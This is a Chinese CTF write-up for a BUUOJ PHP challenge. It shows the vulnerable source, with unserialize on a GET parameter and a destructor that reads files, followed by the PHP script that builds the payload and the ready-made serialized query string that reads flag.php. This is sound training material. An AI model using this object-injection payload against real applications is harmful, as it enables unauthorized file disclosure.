//复现地址:https://buuoj.cn/challenges
//开启环境后获得源码一份。
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
简单分析源码了解到:
op为1的时候可以执行写
op为2的时候可以执行读
这里尝试用读的方法去构造payload
<?php class FileHandler{ public $op=2;//源码告诉我们op为1时候是执行写入为2时才能执行读,一般情况下写入会很少见 先执行读试试 public $filename="flag.php";//文件开头调用的是flag.php,我们直接读取这个文件 public $content="null"; } $flag = new FileHandler(); $flag_1 = serialize($flag); echo $flag_1; ?>
源码提示使用get传参,在url直接输入
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:4:"null";}
来源:freebuf.com 2020-09-06 20:23:23 by: minggege
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